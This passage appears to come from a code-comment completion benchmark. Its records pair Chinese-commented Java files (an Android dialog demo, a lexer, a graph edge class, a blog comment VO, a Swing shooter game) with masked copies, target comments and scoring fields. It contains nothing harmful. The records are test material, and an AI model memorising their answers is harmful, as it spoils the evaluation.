builder3.setTitle("请选择日常活动:").setMultiChoiceItems(array3, isSelected, new DialogInterface.OnMultiChoiceClickListener() { @Override public void onClick(DialogInterface dialog, int which, boolean isChecked) { ToastUtil.showMsg(DialogActivity.this,array3[which]+":"+isChecked); } }).setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { } }).setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { } }).show(); break; case R.id.btn_dialog5: //自定义View样式 AlertDialog.Builder builder4 = new AlertDialog.Builder(DialogActivity.this); LayoutInflater inflater = LayoutInflater.from(DialogActivity.this); View loginView = inflater.inflate(R.layout.layout_dialog,null); EditText etUsername = loginView.findViewById(R.id.et_username); EditText etPassword = loginView.findViewById(R.id.et_password); Button btnLogin = loginView.findViewById(R.id.btn_login); btnLogin.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { } }); builder4.setTitle("请先登录:").setView(loginView); builder4.show(); break; } } } }
229394/AndroidBasic
app/src/main/java/com/autumn/DialogActivity.java
1,172
//分别是积极的按钮,中性的按钮和消极的按钮
line_comment
zh-cn
package com.autumn; import android.content.DialogInterface; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.EditText; import com.autumn.util.ToastUtil; public class DialogActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_dialog); Button btnDialog1 = findViewById(R.id.btn_dialog1); Button btnDialog2 = findViewById(R.id.btn_dialog2); Button btnDialog3 = findViewById(R.id.btn_dialog3); Button btnDialog4 = findViewById(R.id.btn_dialog4); Button btnDialog5 = findViewById(R.id.btn_dialog5); OnClick onClick = new OnClick(); btnDialog1.setOnClickListener(onClick); btnDialog2.setOnClickListener(onClick); btnDialog3.setOnClickListener(onClick); btnDialog4.setOnClickListener(onClick); btnDialog5.setOnClickListener(onClick); } class OnClick implements View.OnClickListener { @Override public void onClick(View v) { switch (v.getId()){ case R.id.btn_dialog1: //分别 <SUF> AlertDialog.Builder builder = new AlertDialog.Builder(DialogActivity.this); builder.setTitle("请回答:").setMessage("你对Android感兴趣吗?").setIcon(R.drawable.icon_user).setPositiveButton("感兴趣", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"你很诚实!"); } }).setNeutralButton("还行", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"真的吗?"); } }).setNegativeButton("不喜欢", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"你再想想!"); } }).show(); break; case R.id.btn_dialog2: final String[] array = new String[]{"男","女"}; AlertDialog.Builder builder1 = new AlertDialog.Builder(DialogActivity.this); builder1.setTitle("请选择性别:").setItems(array, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,array[which]); } }).show(); break; case R.id.btn_dialog3: final String[] array2 = new String[]{"男","女"}; AlertDialog.Builder builder2 = new AlertDialog.Builder(DialogActivity.this); //默认选中"女",类似RadioButton样式 builder2.setTitle("请选择性别:").setSingleChoiceItems(array2,1, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,array2[which]); dialog.dismiss(); } }).setCancelable(false).show(); break; case R.id.btn_dialog4: //类似Checkbox的样式 final String[] array3 = new String[]{"吃饭","睡觉","写代码"}; final boolean[] isSelected = new boolean[]{false,false,true}; AlertDialog.Builder builder3 = new AlertDialog.Builder(DialogActivity.this); builder3.setTitle("请选择日常活动:").setMultiChoiceItems(array3, isSelected, new DialogInterface.OnMultiChoiceClickListener() { @Override public void onClick(DialogInterface dialog, int which, boolean isChecked) { ToastUtil.showMsg(DialogActivity.this,array3[which]+":"+isChecked); } }).setPositiveButton("确定", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { } }).setNegativeButton("取消", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { } }).show(); break; case R.id.btn_dialog5: //自定义View样式 AlertDialog.Builder builder4 = new AlertDialog.Builder(DialogActivity.this); LayoutInflater inflater = LayoutInflater.from(DialogActivity.this); View loginView = inflater.inflate(R.layout.layout_dialog,null); EditText etUsername = loginView.findViewById(R.id.et_username); EditText etPassword = loginView.findViewById(R.id.et_password); Button btnLogin = loginView.findViewById(R.id.btn_login); btnLogin.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { } }); builder4.setTitle("请先登录:").setView(loginView); builder4.show(); break; } } } }
0
956
13
1,172
17
1,234
14
1,172
17
1,498
35
false
false
false
false
false
true
65985_7
package stone; import java.io.IOException; import java.io.LineNumberReader; import java.io.Reader; import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * @author lichengpeng * @desc 词法分析器 * @date 2020/7/11 **/ public class Lexer { // pattern = 空白 + (注释 or 字符串 or 标识符) // 标识符 = (变量 or 逻辑运算符 or 比较运算符 or 标点符号) public static String regexPat = "\\s*((//.*)|" + "([0-9]+)|" + "(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|" + "([A-Z_a-z][A-Z_a-z0-9]*)|" + "<=|>=|==|&&|\\|\\||\\p{Punct})?"; private Pattern pattern = Pattern.compile(regexPat); private ArrayList<Token> queue = new ArrayList<Token>(); private boolean hashMore; private LineNumberReader reader; public Lexer(Reader r) { hashMore = true; reader = new LineNumberReader(r); } // 读取下一个token,并从队列中删除 public Token read() throws ParseException { if(fillQueue(0)) { return queue.remove(0); }else { return Token.EOF; } } // 读取第i个token public Token peek(int i) throws ParseException { if(fillQueue(i)) { return queue.get(i); }else { return Token.EOF; } } // 填充token队列 private boolean fillQueue(int i) throws ParseException { while(i >= queue.size()) { if(hashMore) { readLine(); }else { return false; } } return true; } // 读取一行 protected void readLine() throws ParseException{ String line; try { line = reader.readLine(); }catch(IOException e) { throw new ParseException(e); } if(line == null) { hashMore = false; return; } int lineNo = reader.getLineNumber(); Matcher matcher = pattern.matcher(line); matcher.useTransparentBounds(true).useAnchoringBounds(false); int pos = 0; int endPos = line.length(); while(pos < endPos) { matcher.region(pos, endPos); if(matcher.lookingAt()) { addToken(lineNo, matcher); pos = matcher.end(); }else { throw new ParseException("bad token at line: " + lineNo); } } queue.add(new IdToken(lineNo, Token.EOL)); } protected void addToken(int lineNo, Matcher matcher) { /** * java regex group example: * Regex: ([a-zA-Z0-9]+)([\s]+)([a-zA-Z ]+)([\s]+)([0-9]+) * * String: "!* UserName10 John Smith 01123 *!" * * group(0): UserName10 John Smith 01123 * group(1): UserName10 * group(2): * group(3): John Smith * group(4): * group(5): 01123 * * Regex: \\s*((//.*)|([0-9]+)|(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct})? * ((//.*)|([0-9]+)|(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct}): group(1) * (//.*): group(2) * ([0-9]+): group(3) * (\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\"): group(4) * ([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct}): group(5) */ String m = matcher.group(1); // 当是空格的时候,直接退出 if(m == null) { return; } // 当是注释时,直接退出 if(matcher.group(2) != null) { return; } Token token; if(matcher.group(3) != null) { // 匹配数字 token = new NumToken(lineNo, Integer.parseInt(m)); }else if(matcher.group(4) != null) { // 匹配字符串 token = new StrToken(lineNo, toStringLiteral(m)); }else { // 匹配标识符 token = new IdToken(lineNo, m); } queue.add(token); } protected String toStringLiteral(String s) { StringBuilder sb = new StringBuilder(); int len = s.length() - 1; for(int i = 1; i < len; i ++) { // 这一步相当于是去掉首位字符啊,就是把双引号去掉的意思吧 char c = s.charAt(i); if(c == '\\' && i + 1 < len) { char c2 = s.charAt(++ i); if(c2 == '\\' || c2 == '"') { c = s.charAt(++ i); }else if(c2 == 'n') { ++ i; c = '\n'; } } sb.append(c); } return sb.toString(); } }
2329408386/stone
src/stone/Lexer.java
1,388
// 读取一行
line_comment
zh-cn
package stone; import java.io.IOException; import java.io.LineNumberReader; import java.io.Reader; import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * @author lichengpeng * @desc 词法分析器 * @date 2020/7/11 **/ public class Lexer { // pattern = 空白 + (注释 or 字符串 or 标识符) // 标识符 = (变量 or 逻辑运算符 or 比较运算符 or 标点符号) public static String regexPat = "\\s*((//.*)|" + "([0-9]+)|" + "(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|" + "([A-Z_a-z][A-Z_a-z0-9]*)|" + "<=|>=|==|&&|\\|\\||\\p{Punct})?"; private Pattern pattern = Pattern.compile(regexPat); private ArrayList<Token> queue = new ArrayList<Token>(); private boolean hashMore; private LineNumberReader reader; public Lexer(Reader r) { hashMore = true; reader = new LineNumberReader(r); } // 读取下一个token,并从队列中删除 public Token read() throws ParseException { if(fillQueue(0)) { return queue.remove(0); }else { return Token.EOF; } } // 读取第i个token public Token peek(int i) throws ParseException { if(fillQueue(i)) { return queue.get(i); }else { return Token.EOF; } } // 填充token队列 private boolean fillQueue(int i) throws ParseException { while(i >= queue.size()) { if(hashMore) { readLine(); }else { return false; } } return true; } // 读取 <SUF> protected void readLine() throws ParseException{ String line; try { line = reader.readLine(); }catch(IOException e) { throw new ParseException(e); } if(line == null) { hashMore = false; return; } int lineNo = reader.getLineNumber(); Matcher matcher = pattern.matcher(line); matcher.useTransparentBounds(true).useAnchoringBounds(false); int pos = 0; int endPos = line.length(); while(pos < endPos) { matcher.region(pos, endPos); if(matcher.lookingAt()) { addToken(lineNo, matcher); pos = matcher.end(); }else { throw new ParseException("bad token at line: " + lineNo); } } queue.add(new IdToken(lineNo, Token.EOL)); } protected void addToken(int lineNo, Matcher matcher) { /** * java regex group example: * Regex: ([a-zA-Z0-9]+)([\s]+)([a-zA-Z ]+)([\s]+)([0-9]+) * * String: "!* UserName10 John Smith 01123 *!" * * group(0): UserName10 John Smith 01123 * group(1): UserName10 * group(2): * group(3): John Smith * group(4): * group(5): 01123 * * Regex: \\s*((//.*)|([0-9]+)|(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct})? * ((//.*)|([0-9]+)|(\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\")|([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct}): group(1) * (//.*): group(2) * ([0-9]+): group(3) * (\"(\\\\\"|\\\\\\\\|\\\\n|[^\"])*\"): group(4) * ([A-Z_a-z][A-Z_a-z0-9]*)|<=|>=|==|&&|\\|\\||\\p{Punct}): group(5) */ String m = matcher.group(1); // 当是空格的时候,直接退出 if(m == null) { return; } // 当是注释时,直接退出 if(matcher.group(2) != null) { return; } Token token; if(matcher.group(3) != null) { // 匹配数字 token = new NumToken(lineNo, Integer.parseInt(m)); }else if(matcher.group(4) != null) { // 匹配字符串 token = new StrToken(lineNo, toStringLiteral(m)); }else { // 匹配标识符 token = new IdToken(lineNo, m); } queue.add(token); } protected String toStringLiteral(String s) { StringBuilder sb = new StringBuilder(); int len = s.length() - 1; for(int i = 1; i < len; i ++) { // 这一步相当于是去掉首位字符啊,就是把双引号去掉的意思吧 char c = s.charAt(i); if(c == '\\' && i + 1 < len) { char c2 = s.charAt(++ i); if(c2 == '\\' || c2 == '"') { c = s.charAt(++ i); }else if(c2 == 'n') { ++ i; c = '\n'; } } sb.append(c); } return sb.toString(); } }
0
1,281
5
1,388
5
1,491
3
1,388
5
1,703
8
false
false
false
false
false
true
53005_1
package study; /** * @author : 小何 * @Description : * @date : 2022-10-11 17:29 */ public class Edge { // 这条边的权重(距离) public Integer weight; // 边的起点 public Node from; // 边的终点 public Node to; public Edge(Node from, Node to,Integer weight) { this.weight = weight; this.from = from; this.to = to; } }
2382546457/algorithm
src/study/Edge.java
128
// 这条边的权重(距离)
line_comment
zh-cn
package study; /** * @author : 小何 * @Description : * @date : 2022-10-11 17:29 */ public class Edge { // 这条 <SUF> public Integer weight; // 边的起点 public Node from; // 边的终点 public Node to; public Edge(Node from, Node to,Integer weight) { this.weight = weight; this.from = from; this.to = to; } }
0
116
10
128
11
133
9
128
11
150
18
false
false
false
false
false
true
39004_14
package site.day.blog.pojo.vo; import java.io.Serializable; import java.time.LocalDateTime; import java.util.List; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.AllArgsConstructor; import lombok.NoArgsConstructor; import lombok.experimental.Accessors; /** * @ClassName CommentVO * @Author 23DAY * @Date 2023/01/18 20:48 * @Version 1.0 */ @Data @NoArgsConstructor @AllArgsConstructor @Accessors(chain = true) @ApiModel(value = "CommentHomeVO", description = "评论表") public class CommentHomeVO implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @ApiModelProperty(name = "id", value = "主键", dataType = "Integer") private Integer id; /** * 评论用户Id */ @ApiModelProperty(name = "userId", value = "评论用户Id", dataType = "Integer") private Integer userId; /** * 用户名 */ @ApiModelProperty(name = "nickName", value = "用户名", dataType = "String") private String nickName; /** * 头像 */ @ApiModelProperty(name = "avatar", value = "头像", dataType = "String") private String avatar; /** * 用户网站 */ @ApiModelProperty(name = "website", value = "用户网站", dataType = "String") private String website; /** * 所属主体id */ @ApiModelProperty(name = "affiliationId", value = "所属主体id", dataType = "Integer") private Integer affiliationId; /** * 评论内容 */ @ApiModelProperty(name = "commentContent", value = "评论内容", dataType = "String") private String commentContent; /** * 被回复用户id */ @ApiModelProperty(name = "replyUserId", value = "被回复用户id", dataType = "Integer") private Integer replyUserId; /** * 被回复用户名 */ @ApiModelProperty(name = "replyNickname", value = "被回复用户名", dataType = "String") private String replyNickname; /** * 被回复用户网站 */ @ApiModelProperty(name = "replyWebsite", value = "被回复用户网站", dataType = "String") private String replyWebsite; /** * 父评论id */ @ApiModelProperty(name = "parentId", value = "父评论id", dataType = "Integer") private Integer parentId; /** * 顶级评论id,默认为自身id */ @ApiModelProperty(name = "topId", value = "顶级评论id,默认为自身id", dataType = "Integer") private Integer topId; /** * 评论类型 1.文章 2.友链 3.说说 */ @ApiModelProperty(name = "type", value = "评论类型 1.文章 2.友链 3.说说", dataType = "Integer") private Integer type; /** * 是否审核 */ @ApiModelProperty(name = "isReview", value = "是否审核", dataType = "Boolean") private Boolean isReview; /** * 创建时间 */ @ApiModelProperty(name = "createTime", value = "创建时间", dataType = "LocalDateTime") private LocalDateTime createTime; /** * 点赞量 */ @ApiModelProperty(name = "likeCount", value = "点赞量", dataType = "Integer") private Integer likeCount; /** * 回复量 */ @ApiModelProperty(name = "replyCount", value = "回复量", dataType = "Integer") private Integer replyCount; /** * 当前评论的回复 */ @ApiModelProperty(name = "replyList", value = "当前评论的回复", dataType = "List<CommentHomeVO>") private List<CommentHomeVO> replyList; }
23DAY01/blog_23DAY
src/main/java/site/day/blog/pojo/vo/CommentHomeVO.java
900
/** * 是否审核 */
block_comment
zh-cn
package site.day.blog.pojo.vo; import java.io.Serializable; import java.time.LocalDateTime; import java.util.List; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.AllArgsConstructor; import lombok.NoArgsConstructor; import lombok.experimental.Accessors; /** * @ClassName CommentVO * @Author 23DAY * @Date 2023/01/18 20:48 * @Version 1.0 */ @Data @NoArgsConstructor @AllArgsConstructor @Accessors(chain = true) @ApiModel(value = "CommentHomeVO", description = "评论表") public class CommentHomeVO implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @ApiModelProperty(name = "id", value = "主键", dataType = "Integer") private Integer id; /** * 评论用户Id */ @ApiModelProperty(name = "userId", value = "评论用户Id", dataType = "Integer") private Integer userId; /** * 用户名 */ @ApiModelProperty(name = "nickName", value = "用户名", dataType = "String") private String nickName; /** * 头像 */ @ApiModelProperty(name = "avatar", value = "头像", dataType = "String") private String avatar; /** * 用户网站 */ @ApiModelProperty(name = "website", value = "用户网站", dataType = "String") private String website; /** * 所属主体id */ @ApiModelProperty(name = "affiliationId", value = "所属主体id", dataType = "Integer") private Integer affiliationId; /** * 评论内容 */ @ApiModelProperty(name = "commentContent", value = "评论内容", dataType = "String") private String commentContent; /** * 被回复用户id */ @ApiModelProperty(name = "replyUserId", value = "被回复用户id", dataType = "Integer") private Integer replyUserId; /** * 被回复用户名 */ @ApiModelProperty(name = "replyNickname", value = "被回复用户名", dataType = "String") private String replyNickname; /** * 被回复用户网站 */ @ApiModelProperty(name = "replyWebsite", value = "被回复用户网站", dataType = "String") private String replyWebsite; /** * 父评论id */ @ApiModelProperty(name = "parentId", value = "父评论id", dataType = "Integer") private Integer parentId; /** * 顶级评论id,默认为自身id */ @ApiModelProperty(name = "topId", value = "顶级评论id,默认为自身id", dataType = "Integer") private Integer topId; /** * 评论类型 1.文章 2.友链 3.说说 */ @ApiModelProperty(name = "type", value = "评论类型 1.文章 2.友链 3.说说", dataType = "Integer") private Integer type; /** * 是否审 <SUF>*/ @ApiModelProperty(name = "isReview", value = "是否审核", dataType = "Boolean") private Boolean isReview; /** * 创建时间 */ @ApiModelProperty(name = "createTime", value = "创建时间", dataType = "LocalDateTime") private LocalDateTime createTime; /** * 点赞量 */ @ApiModelProperty(name = "likeCount", value = "点赞量", dataType = "Integer") private Integer likeCount; /** * 回复量 */ @ApiModelProperty(name = "replyCount", value = "回复量", dataType = "Integer") private Integer replyCount; /** * 当前评论的回复 */ @ApiModelProperty(name = "replyList", value = "当前评论的回复", dataType = "List<CommentHomeVO>") private List<CommentHomeVO> replyList; }
0
860
8
900
7
980
9
900
7
1,281
16
false
false
false
false
false
true
41704_2
import javax.imageio.ImageIO; import javax.swing.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.util.Random; import java.util.Timer; import java.util.TimerTask; public class jim{ static final JFrame jm=new JFrame(); static int cssd=0; static int cszd=100; static JLabel zidan=new JLabel("剩余子弹:"+String.valueOf(cszd)); static JLabel shadi=new JLabel("杀敌数:"+String.valueOf(cssd)); //英雄级 private static int w=0; private Timer timer; private static JLabel a; private static ImageIcon icon; private static int x; private static int y; //敌机 private static JLabel a2[]=new JLabel[4]; private static int x1[]=new int[4]; private static int y1[]=new int[4]; private static ImageIcon icon1[]=new ImageIcon[4]; //子弹 private static JLabel a3[]=new JLabel[100]; private static int x2[]=new int[100]; private static int y2[]=new int[100]; private static ImageIcon icon2[]=new ImageIcon[100]; static{ try{ zidan.setBounds(0, 0, 100, 50); shadi.setBounds(0, 50, 100, 50); a=new JLabel(); icon=new ImageIcon("hero1.png"); a.setIcon(icon); x=(500-icon.getIconWidth())/2; y=980-icon.getIconHeight(); a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); for(int i=0;i<4;i++){ a2[i]=new JLabel(); icon1[i]=new ImageIcon("airplane.png"); a2[i].setIcon(icon1[i]); x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); } for(int i=0;i<100;i++){ a3[i]=new JLabel(); icon2[i]=new ImageIcon("bullet.png"); a3[i].setIcon(icon2[i]); } }catch(Exception e){ e.printStackTrace(); } } public void run(){ /*x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() );*/ timer = new Timer(); //创建定时器对象 timer.schedule(new TimerTask(){ @Override public void run(){ //定时干的那个事-每10毫秒走一次 for(int i=0;i<4;i++){ x1[i]+=i-1; y1[i]+=2; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); if(x1[i]>=x&&x1[i]<=x+icon.getIconWidth()&&y1[i]>=y&&y1[i]<=y+icon.getIconHeight()){ x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); x=10000; y=10000; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight()); jm.setVisible(false); new shibai(); } if(x1[i]>500||y1[i]>980){ x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); } } /*y2-=2; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() );*/ /*if(x2>=x1&&x2<=x1+icon1.getIconWidth()&&y2>=y1&&y2<y1+icon1.getIconHeight()){ x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() ); x1=new Random().nextInt(500); y1=-icon1.getIconHeight(); a2.setBounds(x1, y1, icon1.getIconWidth(),icon1.getIconHeight() ); }*/ /*if(y2<0){ x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() ); } */ } },10,10); } public void run1(final int i){ x2[i]=x+icon.getIconWidth()/2; y2[i]=y; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); timer = new Timer(); //创建定时器对象 timer.schedule(new TimerTask(){ public void run(){ //定时干的那个事-每10毫秒走一次 y2[i]-=2; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); for(int j=0;j<4;j++){ if(x2[i]>=x1[j]&&x2[i]<=x1[j]+icon1[j].getIconWidth()&&y2[i]>=y1[j]&&y2[i]<y1[j]+icon1[j].getIconHeight()){ x2[i]=-100; y2[i]=-100; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); x1[j]=new Random().nextInt(500); y1[j]=-icon1[j].getIconHeight()-i*100; a2[j].setBounds(x1[j], y1[j], icon1[j].getIconWidth(),icon1[j].getIconHeight() ); cssd=cssd-1; shadi.setText("杀敌数:"+String.valueOf(cssd)); } } } },10,10); } public static void main(String[] agrs){ jm.setBounds(0,0,500,1000); jm.setLayout(null); jm.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //设置默认关闭操作(窗口关闭时退出程序) jm.setLocationRelativeTo(null); //设置窗口初始位置(居中) jm.setVisible(true); for(int i=0;i<4;i++){ jm.add(a2[i]); } jm.add(a); jm.add(zidan); jm.add(shadi); new jim().run(); jm.addKeyListener(new KeyAdapter(){ public void keyPressed(KeyEvent e){ { if(e.getKeyCode()==KeyEvent.VK_A){ if(x>0){ x-=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_W){ if(y>0){ y-=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_S){ if(y<980-icon.getIconHeight()){ y+=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero1.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_D){ if(x<485-icon.getIconWidth()){ x+=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } }else if(e.getKeyCode()==KeyEvent.VK_J){ cszd=cszd-1; zidan.setText("剩余子弹:"+String.valueOf(cszd)); if(w>=100){ x=10000; y=10000; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight()); jm.setVisible(false); new shibai(); }else{ jm.add(a3[w]); new jim().run1(w); w=w+1; } } } } public void keyReleased(KeyEvent e){ { if(e.getKeyCode()==KeyEvent.VK_A){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_W){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_S){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_D){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } } } }); } }
2425358736/ProjectPackage
aircraftWar/src/jim.java
2,737
//创建定时器对象
line_comment
zh-cn
import javax.imageio.ImageIO; import javax.swing.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.util.Random; import java.util.Timer; import java.util.TimerTask; public class jim{ static final JFrame jm=new JFrame(); static int cssd=0; static int cszd=100; static JLabel zidan=new JLabel("剩余子弹:"+String.valueOf(cszd)); static JLabel shadi=new JLabel("杀敌数:"+String.valueOf(cssd)); //英雄级 private static int w=0; private Timer timer; private static JLabel a; private static ImageIcon icon; private static int x; private static int y; //敌机 private static JLabel a2[]=new JLabel[4]; private static int x1[]=new int[4]; private static int y1[]=new int[4]; private static ImageIcon icon1[]=new ImageIcon[4]; //子弹 private static JLabel a3[]=new JLabel[100]; private static int x2[]=new int[100]; private static int y2[]=new int[100]; private static ImageIcon icon2[]=new ImageIcon[100]; static{ try{ zidan.setBounds(0, 0, 100, 50); shadi.setBounds(0, 50, 100, 50); a=new JLabel(); icon=new ImageIcon("hero1.png"); a.setIcon(icon); x=(500-icon.getIconWidth())/2; y=980-icon.getIconHeight(); a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); for(int i=0;i<4;i++){ a2[i]=new JLabel(); icon1[i]=new ImageIcon("airplane.png"); a2[i].setIcon(icon1[i]); x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); } for(int i=0;i<100;i++){ a3[i]=new JLabel(); icon2[i]=new ImageIcon("bullet.png"); a3[i].setIcon(icon2[i]); } }catch(Exception e){ e.printStackTrace(); } } public void run(){ /*x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() );*/ timer = new Timer(); //创建 <SUF> timer.schedule(new TimerTask(){ @Override public void run(){ //定时干的那个事-每10毫秒走一次 for(int i=0;i<4;i++){ x1[i]+=i-1; y1[i]+=2; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); if(x1[i]>=x&&x1[i]<=x+icon.getIconWidth()&&y1[i]>=y&&y1[i]<=y+icon.getIconHeight()){ x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); x=10000; y=10000; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight()); jm.setVisible(false); new shibai(); } if(x1[i]>500||y1[i]>980){ x1[i]=new Random().nextInt(500); y1[i]=-icon1[i].getIconHeight()-i*100; a2[i].setBounds(x1[i], y1[i], icon1[i].getIconWidth(),icon1[i].getIconHeight() ); } } /*y2-=2; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() );*/ /*if(x2>=x1&&x2<=x1+icon1.getIconWidth()&&y2>=y1&&y2<y1+icon1.getIconHeight()){ x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() ); x1=new Random().nextInt(500); y1=-icon1.getIconHeight(); a2.setBounds(x1, y1, icon1.getIconWidth(),icon1.getIconHeight() ); }*/ /*if(y2<0){ x2=x+icon.getIconWidth()/2; y2=y; a3.setBounds(x2, y2, icon2.getIconWidth(),icon2.getIconHeight() ); } */ } },10,10); } public void run1(final int i){ x2[i]=x+icon.getIconWidth()/2; y2[i]=y; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); timer = new Timer(); //创建定时器对象 timer.schedule(new TimerTask(){ public void run(){ //定时干的那个事-每10毫秒走一次 y2[i]-=2; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); for(int j=0;j<4;j++){ if(x2[i]>=x1[j]&&x2[i]<=x1[j]+icon1[j].getIconWidth()&&y2[i]>=y1[j]&&y2[i]<y1[j]+icon1[j].getIconHeight()){ x2[i]=-100; y2[i]=-100; a3[i].setBounds(x2[i], y2[i], icon2[i].getIconWidth(),icon2[i].getIconHeight() ); x1[j]=new Random().nextInt(500); y1[j]=-icon1[j].getIconHeight()-i*100; a2[j].setBounds(x1[j], y1[j], icon1[j].getIconWidth(),icon1[j].getIconHeight() ); cssd=cssd-1; shadi.setText("杀敌数:"+String.valueOf(cssd)); } } } },10,10); } public static void main(String[] agrs){ jm.setBounds(0,0,500,1000); jm.setLayout(null); jm.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //设置默认关闭操作(窗口关闭时退出程序) jm.setLocationRelativeTo(null); //设置窗口初始位置(居中) jm.setVisible(true); for(int i=0;i<4;i++){ jm.add(a2[i]); } jm.add(a); jm.add(zidan); jm.add(shadi); new jim().run(); jm.addKeyListener(new KeyAdapter(){ public void keyPressed(KeyEvent e){ { if(e.getKeyCode()==KeyEvent.VK_A){ if(x>0){ x-=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_W){ if(y>0){ 